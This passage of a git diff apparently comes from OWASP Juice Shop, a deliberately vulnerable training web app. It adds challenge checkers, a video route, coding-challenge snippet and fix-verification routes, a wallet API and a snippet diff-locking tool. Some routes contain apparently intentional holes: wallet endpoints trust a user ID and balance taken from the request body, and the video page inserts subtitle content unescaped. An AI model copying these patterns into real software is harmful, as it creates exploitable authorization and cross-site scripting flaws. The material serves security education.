data for known vulnerabilities. Please try again') + }) +} + +function supplyChainAttackChallenge () { + FeedbackModel.findAndCountAll({ where: { comment: { [Op.or]: eslintScopeVulnIds() } } } + ).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.supplyChainAttackChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) + ComplaintModel.findAndCountAll({ where: { message: { [Op.or]: eslintScopeVulnIds() } } } + ).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.supplyChainAttackChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) +} + +function eslintScopeVulnIds () { + return [ + { [Op.like]: '%eslint-scope/issues/39%' }, + { [Op.like]: '%npm:eslint-scope:20180712%' } + ] +} + +function dlpPastebinDataLeakChallenge () { + FeedbackModel.findAndCountAll({ + where: { + comment: { [Op.and]: dangerousIngredients() } + } + }).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.dlpPastebinDataLeakChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) + ComplaintModel.findAndCountAll({ + where: { + message: { [Op.and]: dangerousIngredients() } + } + }).then(({ count }: { count: number }) => { + if (count > 0) { + challengeUtils.solve(challenges.dlpPastebinDataLeakChallenge) + } + }).catch(() => { + throw new Error('Unable to get data for known vulnerabilities. Please try again') + }) +} + +function dangerousIngredients () { + const ingredients: Array<{ [op: symbol]: string }> = [] + const dangerousProduct = config.get('products').filter((product: Product) => product.keywordsForPastebinDataLeakChallenge)[0] + dangerousProduct.keywordsForPastebinDataLeakChallenge.forEach((keyword: string) => { + ingredients.push({ [Op.like]: `%${keyword}%` }) + }) + return ingredients +} diff --git a/routes/videoHandler.ts b/routes/videoHandler.ts new file mode 100644 index 00000000000..e77e0c83e65 --- /dev/null +++ b/routes/videoHandler.ts @@ -0,0 +1,93 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import fs = require('fs') +import { Request, Response } from 'express' +import challengeUtils = require('../lib/challengeUtils') + +const pug = require('pug') +const config = require('config') +const challenges = require('../data/datacache').challenges +const utils = require('../lib/utils') +const themes = require('../views/themes/themes').themes +const Entities = require('html-entities').AllHtmlEntities +const entities = new Entities() + +exports.getVideo = () => { + return (req: Request, res: Response) => { + const path = videoPath() + const stat = fs.statSync(path) + const fileSize = stat.size + const range = req.headers.range + if (range) { + const parts = range.replace(/bytes=/, '').split('-') + const start = parseInt(parts[0], 10) + const end = parts[1] ? parseInt(parts[1], 10) : fileSize - 1 + const chunksize = (end - start) + 1 + const file = fs.createReadStream(path, { start, end }) + const head = { + 'Content-Range': `bytes ${start}-${end}/${fileSize}`, + 'Accept-Ranges': 'bytes', + 'Content-Length': chunksize, + 'Content-Location': '/assets/public/videos/owasp_promo.mp4', + 'Content-Type': 'video/mp4' + } + res.writeHead(206, head) + file.pipe(res) + } else { + const head = { + 'Content-Length': fileSize, + 'Content-Type': 'video/mp4' + } + res.writeHead(200, head) + fs.createReadStream(path).pipe(res) + } + } +} + +exports.promotionVideo = () => { + return (req: Request, res: Response) => { + fs.readFile('views/promotionVideo.pug', function (err, buf) { + if (err != null) throw err + let template = buf.toString() + const subs = getSubsFromFile() + + challengeUtils.solveIf(challenges.videoXssChallenge, () => { return utils.contains(subs, '') }) + + const theme = themes[config.get('application.theme')] + template = template.replace(/_title_/g, entities.encode(config.get('application.name'))) + template = template.replace(/_favicon_/g, favicon()) + template = template.replace(/_bgColor_/g, theme.bgColor) + template = template.replace(/_textColor_/g, theme.textColor) + template = template.replace(/_navColor_/g, theme.navColor) + template = template.replace(/_primLight_/g, theme.primLight) + template = template.replace(/_primDark_/g, theme.primDark) + const fn = pug.compile(template) + let compiledTemplate = fn() + compiledTemplate = compiledTemplate.replace('', '') + res.send(compiledTemplate) + }) + } + function favicon () { + return utils.extractFilename(config.get('application.favicon')) + } +} + +function getSubsFromFile () { + let subtitles = 'owasp_promo.vtt' + if (config?.application?.promotion?.subtitles !== null) { + subtitles = utils.extractFilename(config.application.promotion.subtitles) + } + const data = fs.readFileSync('frontend/dist/frontend/assets/public/videos/' + subtitles, 'utf8') + return data.toString() +} + +function videoPath () { + if (config?.application?.promotion?.video !== null) { + const video = utils.extractFilename(config.application.promotion.video) + return 'frontend/dist/frontend/assets/public/videos/' + video + } + return 'frontend/dist/frontend/assets/public/videos/owasp_promo.mp4' +} diff --git a/routes/vulnCodeFixes.ts b/routes/vulnCodeFixes.ts new file mode 100644 index 00000000000..da3427100fb --- /dev/null +++ b/routes/vulnCodeFixes.ts @@ -0,0 +1,100 @@ +import { NextFunction, Request, Response } from 'express' + +const accuracy = require('../lib/accuracy') +const challengeUtils = require('../lib/challengeUtils') +const fs = require('fs') +const yaml = require('js-yaml') + +const FixesDir = 'data/static/codefixes' + +interface codeFix { + fixes: string[] + correct: number +} + +interface cache { + [index: string]: codeFix +} + +const CodeFixes: cache = {} + +export const readFixes = (key: string) => { + if (CodeFixes[key]) { + return CodeFixes[key] + } + const files = fs.readdirSync(FixesDir) + const fixes: string[] = [] + let correct: number = -1 + for (const file of files) { + if (file.startsWith(`${key}_`)) { + const fix = fs.readFileSync(`${FixesDir}/${file}`).toString() + const metadata = file.split('_') + const number = metadata[1] + fixes.push(fix) + if (metadata.length === 3) { + correct = parseInt(number, 10) + correct-- + } + } + } + + CodeFixes[key] = { + fixes: fixes, + correct: correct + } + return CodeFixes[key] +} + +interface FixesRequestParams { + key: string +} + +interface VerdictRequestBody { + key: string + selectedFix: number +} + +export const serveCodeFixes = () => (req: Request, res: Response, next: NextFunction) => { + const key = req.params.key + const fixData = readFixes(key) + if (fixData.fixes.length === 0) { + res.status(404).json({ + error: 'No fixes found for the snippet!' + }) + return + } + res.status(200).json({ + fixes: fixData.fixes + }) +} + +export const checkCorrectFix = () => async (req: Request<{}, {}, VerdictRequestBody>, res: Response, next: NextFunction) => { + const key = req.body.key + const selectedFix = req.body.selectedFix + const fixData = readFixes(key) + if (fixData.fixes.length === 0) { + res.status(404).json({ + error: 'No fixes found for the snippet!' + }) + } else { + let explanation + if (fs.existsSync('./data/static/codefixes/' + key + '.info.yml')) { + const codingChallengeInfos = yaml.load(fs.readFileSync('./data/static/codefixes/' + key + '.info.yml', 'utf8')) + const selectedFixInfo = codingChallengeInfos?.fixes.find(({ id }: { id: number }) => id === selectedFix + 1) + if (selectedFixInfo?.explanation) explanation = res.__(selectedFixInfo.explanation) + } + if (selectedFix === fixData.correct) { + await challengeUtils.solveFixIt(key) + res.status(200).json({ + verdict: true, + explanation + }) + } else { + accuracy.storeFixItVerdict(key, false) + res.status(200).json({ + verdict: false, + explanation + }) + } + } +} diff --git a/routes/vulnCodeSnippet.ts b/routes/vulnCodeSnippet.ts new file mode 100644 index 00000000000..b35910a0cd3 --- /dev/null +++ b/routes/vulnCodeSnippet.ts @@ -0,0 +1,221 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { NextFunction, Request, Response } from 'express' +import fs from 'graceful-fs' +import actualFs from 'fs' +import yaml from 'js-yaml' + +const utils = require('../lib/utils') +const challengeUtils = require('../lib/challengeUtils') +const challenges = require('../data/datacache').challenges +const path = require('path') +const accuracy = require('../lib/accuracy') + +fs.gracefulify(actualFs) + +const SNIPPET_PATHS = Object.freeze(['./server.ts', './routes', './lib', './data', './frontend/src/app']) + +const cache: any = {} + +interface Match { + path: string + match: string +} + +export const fileSniff = async (paths: readonly string[], match: RegExp): Promise => { + const matches = [] + for (const currPath of paths) { + if (fs.lstatSync(currPath).isDirectory()) { + const files = fs.readdirSync(currPath) + const moreMatches = await fileSniff(files.map(file => path.resolve(currPath, file)), match) + matches.push(...moreMatches) + } else { + const data = fs.readFileSync(currPath) + const code = data.toString() + const lines = code.split('\n') + for (const line of lines) { + if (match.test(line)) { + matches.push({ + path: currPath, + match: line + }) + } + } + } + } + + return matches +} + +class BrokenBoundary extends Error { + constructor (message: string) { + super(message) + this.name = 'BrokenBoundary' + this.message = message + } +} + +class SnippetNotFound extends Error { + constructor (message: string) { + super(message) + this.name = 'SnippetNotFound' + this.message = message + } +} + +class UnknownChallengekey extends Error { + constructor (message: string) { + super(message) + this.name = 'UnknownChallengeKey' + this.message = message + } +} + +interface SnippetRequestBody { + challenge: string +} + +interface VerdictRequestBody { + selectedLines: number[] + key: string +} + +const setStatusCode = (error: any) => { + switch (error.name) { + case 'BrokenBoundary': + return 422 + case 'SnippetNotFound': + return 404 + case 'UnknownChallengeKey': + return 412 + default: + return 200 + } +} + +export const retrieveCodeSnippet = async (key: string, pass: boolean = false) => { + let challenge = challenges[key] + if (pass) challenge = { key } + if (challenge) { + if (!cache[challenge.key]) { + const match = new RegExp(`vuln-code-snippet start.*${challenge.key}`) + const matches = await fileSniff(SNIPPET_PATHS, match) + if (matches[0]) { // TODO Currently only a single source file is supported + const source = fs.readFileSync(path.resolve(matches[0].path), 'utf8') + const snippets = source.match(`[/#]{0,2} vuln-code-snippet start.*${challenge.key}([^])*vuln-code-snippet end.*${challenge.key}`) + if (snippets != null) { + let snippet = snippets[0] // TODO Currently only a single code snippet is supported + snippet = snippet.replace(/\s?[/#]{0,2} vuln-code-snippet start.*[\r\n]{0,2}/g, '') + snippet = snippet.replace(/\s?[/#]{0,2} vuln-code-snippet end.*/g, '') + snippet = snippet.replace(/.*[/#]{0,2} vuln-code-snippet hide-line[\r\n]{0,2}/g, '') + snippet = snippet.replace(/.*[/#]{0,2} vuln-code-snippet hide-start([^])*[/#]{0,2} vuln-code-snippet hide-end[\r\n]{0,2}/g, '') + snippet = snippet.trim() + + let lines = snippet.split('\r\n') + if (lines.length === 1) lines = snippet.split('\n') + if (lines.length === 1) lines = snippet.split('\r') + const vulnLines = [] + const neutralLines = [] + for (let i = 0; i < lines.length; i++) { + if (new RegExp(`vuln-code-snippet vuln-line.*${challenge.key}`).exec(lines[i]) != null) { + vulnLines.push(i + 1) + } else if (new RegExp(`vuln-code-snippet neutral-line.*${challenge.key}`).exec(lines[i]) != null) { + neutralLines.push(i + 1) + } + } + snippet = snippet.replace(/\s?[/#]{0,2} vuln-code-snippet vuln-line.*/g, '') + snippet = snippet.replace(/\s?[/#]{0,2} vuln-code-snippet neutral-line.*/g, '') + cache[challenge.key] = { snippet, vulnLines, neutralLines } + } else { + throw new BrokenBoundary('Broken code snippet boundaries for: ' + challenge.key) + } + } else { + throw new SnippetNotFound('No code snippet available for: ' + challenge.key) + } + } + return cache[challenge.key] + } else { + throw new UnknownChallengekey('Unknown challenge key: ' + key) + } +} + +exports.serveCodeSnippet = () => async (req: Request, res: Response, next: NextFunction) => { + let snippetData + try { + snippetData = await retrieveCodeSnippet(req.params.challenge) + res.status(setStatusCode(snippetData)).json({ snippet: snippetData.snippet }) + } catch (error) { + const statusCode = setStatusCode(error) + res.status(statusCode).json({ status: 'error', error: utils.getErrorMessage(error) }) + } +} + +export const retrieveChallengesWithCodeSnippet = async () => { + if (!cache.codingChallenges) { + const match = /vuln-code-snippet start .*/ + const matches = await fileSniff(SNIPPET_PATHS, match) + cache.codingChallenges = matches.map(m => m.match.trim().substr(26).trim()).join(' ').split(' ').filter(c => c.endsWith('Challenge')) + } + return cache.codingChallenges +} + +exports.serveChallengesWithCodeSnippet = () => async (req: Request, res: Response, next: NextFunction) => { + const codingChallenges = await retrieveChallengesWithCodeSnippet() + res.json({ challenges: codingChallenges }) +} + +export const getVerdict = (vulnLines: number[], neutralLines: number[], selectedLines: number[]) => { + if (selectedLines === undefined) return false + if (vulnLines.length > selectedLines.length) return false + if (!vulnLines.every(e => selectedLines.includes(e))) return false + const okLines = [...vulnLines, ...neutralLines] + const notOkLines = selectedLines.filter(x => !okLines.includes(x)) + return notOkLines.length === 0 +} + +exports.checkVulnLines = () => async (req: Request<{}, {}, VerdictRequestBody>, res: Response, next: NextFunction) => { + const key = req.body.key + let snippetData + try { + snippetData = await retrieveCodeSnippet(key) + } catch (error) { + const statusCode = setStatusCode(error) + res.status(statusCode).json({ status: 'error', error: utils.getErrorMessage(error) }) + return + } + const vulnLines: number[] = snippetData.vulnLines + const neutralLines: number[] = snippetData.neutralLines + const selectedLines: number[] = req.body.selectedLines + const verdict = getVerdict(vulnLines, neutralLines, selectedLines) + let hint + if (fs.existsSync('./data/static/codefixes/' + key + '.info.yml')) { + const codingChallengeInfos = yaml.load(fs.readFileSync('./data/static/codefixes/' + key + '.info.yml', 'utf8')) + if (codingChallengeInfos?.hints) { + if (accuracy.getFindItAttempts(key) > codingChallengeInfos.hints.length) { + if (vulnLines.length === 1) { + hint = res.__('Line {{vulnLine}} is responsible for this vulnerability or security flaw. Select it and submit to proceed.', { vulnLine: vulnLines[0].toString() }) + } else { + hint = res.__('Lines {{vulnLines}} are responsible for this vulnerability or security flaw. Select them and submit to proceed.', { vulnLines: vulnLines.toString() }) + } + } else { + const nextHint = codingChallengeInfos.hints[accuracy.getFindItAttempts(key) - 1] // -1 prevents after first attempt + if (nextHint) hint = res.__(nextHint) + } + } + } + if (verdict) { + await challengeUtils.solveFindIt(key) + res.status(200).json({ + verdict: true + }) + } else { + accuracy.storeFindItVerdict(key, false) + res.status(200).json({ + verdict: false, + hint + }) + } +} diff --git a/routes/wallet.ts b/routes/wallet.ts new file mode 100644 index 00000000000..3aa31e2d237 --- /dev/null +++ b/routes/wallet.ts @@ -0,0 +1,36 @@ +/* + * Copyright (c) 2014-2022 Bjoern Kimminich & the OWASP Juice Shop contributors. + * SPDX-License-Identifier: MIT + */ + +import { Request, Response, NextFunction } from 'express' +import { WalletModel } from '../models/wallet' +import { CardModel } from '../models/card' + +module.exports.getWalletBalance = function getWalletBalance () { + return async (req: Request, res: Response, next: NextFunction) => { + const wallet = await WalletModel.findOne({ where: { UserId: req.body.UserId } }) + if (wallet) { + res.status(200).json({ status: 'success', data: wallet.balance }) + } else { + res.status(404).json({ status: 'error' }) + } + } +} + +module.exports.addWalletBalance = function addWalletBalance () { + return async (req: Request, res: Response, next: NextFunction) => { + const cardId = req.body.paymentId + const card = cardId ? await CardModel.findOne({ where: { id: cardId, UserId: req.body.UserId } }) : null + if (card) { + const wallet = await WalletModel.increment({ balance: req.body.balance }, { where: { UserId: req.body.UserId } }) + if (wallet) { + res.status(200).json({ status: 'success', data: wallet.balance }) + } else { + res.status(404).json({ status: 'error' }) + } + } else { + res.status(402).json({ status: 'error', message: 'Payment not accepted.' }) + } + } +} diff --git a/rsn/cache.json b/rsn/cache.json new file mode 100644 index 00000000000..0f90b1b34db --- /dev/null +++ b/rsn/cache.json @@ -0,0 +1,483 @@ +{ + "accessLogDisclosureChallenge_1_correct.ts": { + "added": [ + 13 + ], + "removed": [] + }, + "accessLogDisclosureChallenge_2.ts": { + "added": [], + "removed": [] + }, + "accessLogDisclosureChallenge_3.ts": { + "added": [], + "removed": [] + }, + "accessLogDisclosureChallenge_4.ts": { + "added": [], + "removed": [] + }, + "adminSectionChallenge_1_correct.ts": { + "added": [ + 7 + ], + "removed": [ + 7, + 8, + 9 + ] + }, + "adminSectionChallenge_2.ts": { + "added": [], + "removed": [] + }, + "adminSectionChallenge_3.ts": { + "added": [], + "removed": [] + }, + "adminSectionChallenge_4.ts": { + "added": [], + "removed": [] + }, + "changeProductChallenge_1.ts": { + "added": [], + "removed": [] + }, + "changeProductChallenge_2.ts": { + "added": [ + 18 + ], + "removed": [] + }, + "changeProductChallenge_3_correct.ts": { + "added": [], + "removed": [] + }, + "changeProductChallenge_4.ts": { + "added": [], + "removed": [] + }, + "dbSchemaChallenge_1.ts": { + "added": [], + "removed": [] + }, + "dbSchemaChallenge_2_correct.ts": { + "added": [ + 6 + ], + "removed": [ + 6, + 7, + 8 + ] + }, + "dbSchemaChallenge_3.ts": { + "added": [], + "removed": [ + 1, + 2, + 6, + 7, + 8 + ] + }, + "directoryListingChallenge_1_correct.ts": { + "added": [ + 5 + ], + "removed": [] + }, + "directoryListingChallenge_2.ts": { + "added": [], + "removed": [] + }, + "directoryListingChallenge_3.ts": { + "added": [], + "removed": [] + }, + "directoryListingChallenge_4.ts": { + "added": [], + "removed": [] + }, + "exposedMetricsChallenge_1.ts": { + "added": [], + "removed": [] + }, + "exposedMetricsChallenge_2.ts": { + "added": [ + 2, + 19, + 36 + ], + "removed": [] + }, + "exposedMetricsChallenge_3_correct.ts": { + "added": [], + "removed": [] + }, + "forgedReviewChallenge_1.ts": { + "added": [ + 6 + ], + "removed": [ + 6 + ] + }, + "forgedReviewChallenge_2_correct.ts": { + "added": [], + "removed": [] + }, + "forgedReviewChallenge_3.ts": { + "added": [ + 6, + 7 + ], + "removed": [ + 6 + ] + }, + "localXssChallenge_1.ts": { + "added": [], + "removed": [] + }, + "localXssChallenge_2_correct.ts": { + "added": [], + "removed": [] + }, + "localXssChallenge_3.ts": { + "added": [], + "removed": [] + }, + "localXssChallenge_4.ts": { + "added": [], + "removed": [] + }, + "loginAdminChallenge_1.ts": { + "added": [], + "removed": [ + 1, + 2, + 17, + 18 + ] + }, + "loginAdminChallenge_2.ts": { + "added": [], + "removed": [ + 1, + 2 + ] + }, + "loginAdminChallenge_3.ts": { + "added": [], + "removed": [ + 1, + 2 + ] + }, + "loginAdminChallenge_4_correct.ts": { + "added": [], + "removed": [ + 1, + 2 + ] + }, + "loginBenderChallenge_1.ts": { + "added": [], + "removed": [ + 1, + 2, + 17, + 18 + ] + }, + "loginBenderChallenge_2_correct.ts": { + "added": [], + "removed": [ + 1, + 2 + ] + }, + "loginBenderChallenge_3.ts": { + "added": [], + "removed": [ + 1, + 2 + ] + }, + "loginBenderChallenge_4.ts": { + "added": [], + "removed": [ + 1, + 2 + ] + }, + "loginJimChallenge_1_correct.ts": { + "added": [], + "removed": [ + 1, + 2 + ] + }, + "loginJimChallenge_2.ts": { + "added": [], + "removed": [ + 1, + 2 + ] + }, + "loginJimChallenge_3.ts": { + "added": [], + "removed": [ + 1, + 2 + ] + }, + "loginJimChallenge_4.ts": { + "added": [], + "removed": [ + 1, + 2, + 17, + 18 + ] + }, + "noSqlReviewsChallenge_1.ts": { + "added": [ + 6 + ], + "removed": [ + 4, + 6, + 8, + 9, + 6 + ] + }, + "noSqlReviewsChallenge_2.ts": { + "added": [ + 6 + ], + "removed": [ + 6 + ] + }, + "noSqlReviewsChallenge_3_correct.ts": { + "added": [ + 6 + ], + "removed": [ + 4, + 6, + 8, + 9, + 6 + ] + }, + "redirectChallenge_1.ts": { + "added": [], + "removed": [] + }, + "redirectChallenge_2.ts": { + "added": [], + "removed": [] + }, + "redirectChallenge_3.ts": { + "added": [], + "removed": [ + 19, + 20, + 21, + 22, + 23, + 24, + 25, + 26, + 27, + 28, + 29, + 30, + 31 + ] + }, + "redirectChallenge_4_correct.ts": { + "added": [], + "removed": [] + }, + "redirectCryptoCurrencyChallenge_1.ts": { + "added": [], + "removed": [] + }, + "redirectCryptoCurrencyChallenge_2.ts": { + "added": [], + "removed": [] + }, + "redirectCryptoCurrencyChallenge_3_correct.ts": { + "added": [], + "removed": [] + }, + "redirectCryptoCurrencyChallenge_4.ts": { + "added": [], + "removed": [] + }, + "registerAdminChallenge_1.ts": { + "added": [], + "removed": [] + }, + "registerAdminChallenge_2.ts": { + "added": [ + 5, + 25, + 26, + 27, + 30, + 31, + 32 + ], + "removed": [ + 25 + ] + }, + "registerAdminChallenge_3_correct.ts": { + "added": [], + "removed": [] + }, + "registerAdminChallenge_4.ts": { + "added": [ + 5 + ], + "removed": [ + 5 + ] + }, + "resetPasswordMortyChallenge_1.ts": { + "added": [ + 2 + ], + "removed": [] + }, + "resetPasswordMortyChallenge_2.ts": { + "added": [], + "removed": [] + }, + "resetPasswordMortyChallenge_3.ts": { + "added": [ + 4, + 5 + ], + "removed": [ + 4, + 5 + ] + }, + "resetPasswordMortyChallenge_4_correct.ts": { + "added": [], + "removed": [] + }, + "restfulXssChallenge_1_correct.ts": { + "added": [ + 55, + 56 + ], + "removed": [] + }, + "restfulXssChallenge_2.ts": { + "added": [], + "removed": [] + }, + "restfulXssChallenge_3.ts": { + "added": [ + 39, + 40, + 41, + 42, + 43, + 44, + 45, + 46, + 47, + 48, + 49, + 50, + 51, + 52 + ], + "removed": [] + }, + "restfulXssChallenge_4.ts": { + "added": [], + "removed": [] + }, + "scoreBoardChallenge_1_correct.ts": { + "added": [], + "removed": [] + }, + "scoreBoardChallenge_2.ts": { + "added": [], + "removed": [] + }, + "scoreBoardChallenge_3.ts": { + "added": [ + 117 + ], + "removed": [] + }, + "tokenSaleChallenge_1.ts": { + "added": [], + "removed": [] + }, + "tokenSaleChallenge_2.ts": { + "added": [], + "removed": [] + }, + "tokenSaleChallenge_3_correct.ts": { + "added": [ + 10, + 32, + 33, + 40, + 47, + 55 + ], + "removed": [] + }, + "unionSqlInjectionChallenge_1.ts": { + "added": [], + "removed": [] + }, + "unionSqlInjectionChallenge_2_correct.ts": { + "added": [ + 6 + ], + "removed": [ + 6, + 7, + 8 + ] + }, + "unionSqlInjectionChallenge_3.ts": { + "added": [], + "removed": [ + 6, + 7, + 8, + 9 + ] + }, + "xssBonusChallenge_1_correct.ts": { + "added": [], + "removed": [] + }, + "xssBonusChallenge_2.ts": { + "added": [], + "removed": [] + }, + "xssBonusChallenge_3.ts": { + "added": [], + "removed": [] + }, + "xssBonusChallenge_4.ts": { + "added": [], + "removed": [] + } +} \ No newline at end of file diff --git a/rsn/rsn-update.ts b/rsn/rsn-update.ts new file mode 100644 index 00000000000..746e0ffcef3 --- /dev/null +++ b/rsn/rsn-update.ts @@ -0,0 +1,14 @@ +import { readFiles, checkDiffs, writeToFile } from './rsnUtil' +const colors = require('colors/safe') + +const keys = readFiles() +checkDiffs(keys) + .then(data => { + console.log(('---------------------------------------')) + writeToFile(data) + console.log(`${colors.bold('All file diffs have been locked!')} Commit changed cache.json to git.`) + }) + .catch(err => { + console.log(err) + process.exitCode = 1 + }) diff --git a/rsn/rsn-verbose.ts b/rsn/rsn-verbose.ts new file mode 100644 index 00000000000..e141fc4ed0d --- /dev/null +++ b/rsn/rsn-verbose.ts @@ -0,0 +1,23 @@ +import { readFiles, checkDiffs, getDataFromFile, checkData, seePatch } from './rsnUtil' +const colors = require('colors/safe') + +const keys = readFiles() +checkDiffs(keys) + .then(data => { + console.log('---------------------------------------') + const fileData = getDataFromFile() + const filesWithDiff = checkData(data, fileData) + if (filesWithDiff.length === 0) { + console.log(`${colors.green.bold('No new file diffs recognized since last lock!')} No action required.`) + } else { + console.log(`${colors.red.bold('New file diffs recognized since last lock!')} Double-check and amend listed files and lock new state with ${colors.bold('npm run rsn:update')}`) + console.log(`Be aware that diffs for the ${filesWithDiff.length} affected files below contain ${colors.bold('all changes')} including locked & cached ones! Compare carefully!`) + console.log('---------------------------------------') + filesWithDiff.forEach(async file => await seePatch(file)) + process.exitCode = 1 + } + }) + .catch(err => { + console.log(err) + process.exitCode = 1 + }) diff --git a/rsn/rsn.ts b/rsn/rsn.ts new file mode 100644 index 00000000000..f8f53a6d202 --- /dev/null +++ b/rsn/rsn.ts @@ -0,0 +1,21 @@ +import { readFiles, checkDiffs, getDataFromFile, checkData } from './rsnUtil' +const colors = require('colors/safe') + +const keys = readFiles() +checkDiffs(keys) + .then(data => { + console.log('---------------------------------------') + const fileData = getDataFromFile() + const filesWithDiff = checkData(data, fileData) + if (filesWithDiff.length === 0) { + console.log(`${colors.green.bold('No new file diffs recognized since last lock!')} No action required.`) + } else { + console.log(`${colors.red.bold('New file diffs recognized since last lock!')} Double-check and amend listed files and lock new state with ${colors.bold('npm run rsn:update')}`) + console.log('---------------------------------------') + process.exitCode = 1 + } + }) + .catch(err => { + console.log(err) + process.exitCode = 1 + }) diff --git a/rsn/rsnUtil.ts b/rsn/rsnUtil.ts new file mode 100644 index 00000000000..3d1223a7c6c --- /dev/null +++ b/rsn/rsnUtil.ts @@ -0,0 +1,153 @@ +import { retrieveCodeSnippet } from '../routes/vulnCodeSnippet' +const Diff = require('diff') +const fs = require('fs') +const fixesPath = 'data/static/codefixes' +const cacheFile = 'rsn/cache.json' +const colors = require('colors/safe') + +interface CacheData { + [key: string]: { + added: number[] + removed: number[] + } +} + +function readFiles () { + const files = fs.readdirSync(fixesPath) + const keys = files.filter((file: string) => file.endsWith('.ts')) + return keys +} + +function writeToFile (json: CacheData) { + fs.writeFileSync(cacheFile, JSON.stringify(json, null, '\t')) +} + +function getDataFromFile () { + const data = fs.readFileSync(cacheFile).toString() + return JSON.parse(data) +} + +function filterString (text: string) { + text = text.replace(/\r/g, '') + return text +} + +const checkDiffs = async (keys: string[]) => { + const data: CacheData = keys.reduce((prev, curr) => { + return { + ...prev, + [curr]: { + added: [], + removed: [] + } + } + }, {}) + for (const val of keys) { + await retrieveCodeSnippet(val.split('_')[0], true) + .then(snippet => { + process.stdout.write(val + ': ') + const fileData = fs.readFileSync(fixesPath + '/' + val).toString() + const diff = Diff.diffLines(filterString(fileData), filterString(snippet.snippet)) + let line = 0 + for (const part of diff) { + if (part.removed) continue + const prev = line + line += part.count + if (!(part.added)) continue + for (let i = 0; i < part.count; i++) { + if (!snippet.vulnLines.includes(prev + i + 1) && !snippet.neutralLines.includes(prev + i + 1)) { + process.stdout.write(colors.red.inverse(prev + i + 1 + '')) + process.stdout.write(' ') + data[val].added.push(prev + i + 1) + } else if (snippet.vulnLines.includes(prev + i + 1)) { + process.stdout.write(colors.red.bold(prev + i + 1 + ' ')) + } else if (snippet.neutralLines.includes(prev + i + 1)) { + process.stdout.write(colors.red(prev + i + 1 + ' ')) + } + } + } + line = 0 + let norm = 0 + for (const part of diff) { + if (part.added) { + norm-- + continue + } + const prev = line + line += part.count + if (!(part.removed)) continue + let temp = norm + for (let i = 0; i < part.count; i++) { + if (!snippet.vulnLines.includes(prev + i + 1 - norm) && !snippet.neutralLines.includes(prev + i + 1 - norm)) { + process.stdout.write(colors.green.inverse((prev + i + 1 - norm + ''))) + process.stdout.write(' ') + data[val].removed.push(prev + i + 1 - norm) + } else if (snippet.vulnLines.includes(prev + i + 1 - norm)) { + process.stdout.write(colors.green.bold(prev + i + 1 - norm + ' ')) + } else if (snippet.neutralLines.includes(prev + i + 1 - norm)) { + process.stdout.write(colors.green(prev + i + 1 - norm + ' ')) + } + temp++ + } + norm = temp + } + process.stdout.write('\n') + }) + .catch(err => { + console.log(err) + }) + } + return data +} + +async function seePatch (file: string) { + const fileData = fs.readFileSync(fixesPath + '/' + file).toString() + const snippet = await retrieveCodeSnippet(file.split('_')[0], true) + const patch = Diff.structuredPatch(file, file, filterString(snippet.snippet), filterString(fileData)) + console.log(colors.bold(file + '\n')) + for (const hunk of patch.hunks) { + for (const line of hunk.lines) { + if (line[0] === '-') { + console.log(colors.red(line)) + } else if (line[0] === '+') { + console.log(colors.green(line)) + } else { + console.log(line) + } + } + } + console.log('---------------------------------------') +} + +function checkData (data: CacheData, fileData: CacheData) { + const filesWithDiff = [] + for (const key in data) { + const fileDataValueAdded = fileData[key].added.sort((a, b) => a - b) + const dataValueAdded = data[key].added.sort((a, b) => a - b) + const fileDataValueRemoved = fileData[key].added.sort((a, b) => a - b) + const dataValueAddedRemoved = data[key].added.sort((a, b) => a - b) + if (fileDataValueAdded.length === dataValueAdded.length && fileDataValueRemoved.length === dataValueAddedRemoved.length) { + if (!dataValueAdded.every((val: number, ind: number) => fileDataValueAdded[ind] === val)) { + console.log(colors.red(key)) + filesWithDiff.push(key) + } + if (!dataValueAddedRemoved.every((val: number, ind: number) => fileDataValueRemoved[ind] === val)) { + console.log(colors.red(key)) + filesWithDiff.push(key) + } + } else { + console.log(colors.red(key)) + filesWithDiff.push(key) + } + } + return filesWithDiff +} + +export { + checkDiffs, + writeToFile, + getDataFromFile, + readFiles, + seePatch, + checkData +} diff --git a/screenshots/git-stats.png b/screenshots/git-stats.png new file mode 100644 index 00000000000..4b5b9320f26 Binary files /dev/null and b/screenshots/git-stats.png differ diff --git a/screenshots/screenshot01.png b/screenshots/screenshot01.png index 311fe808471..7ec64c7e924 100644 Binary files a/screenshots/screenshot01.png and b/screenshots/screenshot01.png differ diff --git a/screenshots/screenshot02.png b/screenshots/screenshot02.png index 722af8469aa..5055f5c6aa3 100644 Binary files a/screenshots/screenshot02.png and b/screenshots/screenshot02.png differ diff --git a/screenshots/screenshot03.png b/screenshots/screenshot03.png index eaf77b2e0ec..f27a916fc1f 100644 Binary files a/screenshots/screenshot03.png and b/screenshots/screenshot03.png differ diff --git a/screenshots/screenshot04.png b/screenshots/screenshot04.png index ae1274787d5..93c08636d4b 100644 Binary files a/screenshots/screenshot04.png and b/screenshots/screenshot04.png differ diff --git a/screenshots/screenshot05.png b/screenshots/screenshot05.png index 861e7f25102..8c266917c69 100644 Binary files a/screenshots/screenshot05.png and b/screenshots/screenshot05.png differ diff --git a/screenshots/slideshow.gif b/screenshots/slideshow.gif index 7915873a042..d84bd792d3b 100644 Binary files a/screenshots/slideshow.gif and b/screenshots/slideshow.gif differ diff --git a/server.js b/server.js deleted file mode 100644 index 6f7d0918bcf..00000000000 --- a/server.js +++ /dev/null @@ -1,302 +0,0 @@ -const path = require('path') -const fs = require('fs-extra') -const morgan = require('morgan') -const colors = require('colors/safe') -const epilogue = require('epilogue-js') -const express = require('express') -const helmet = require('helmet') -const errorhandler = require('errorhandler') -const cookieParser = require('cookie-parser') -const serveIndex = require('serve-index') -const bodyParser = require('body-parser') -const cors = require('cors') -const securityTxt = require('express-security.txt') -const robots = require('express-robots-txt') -const multer = require('multer') -const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 200000 } }) -const yaml = require('js-yaml') 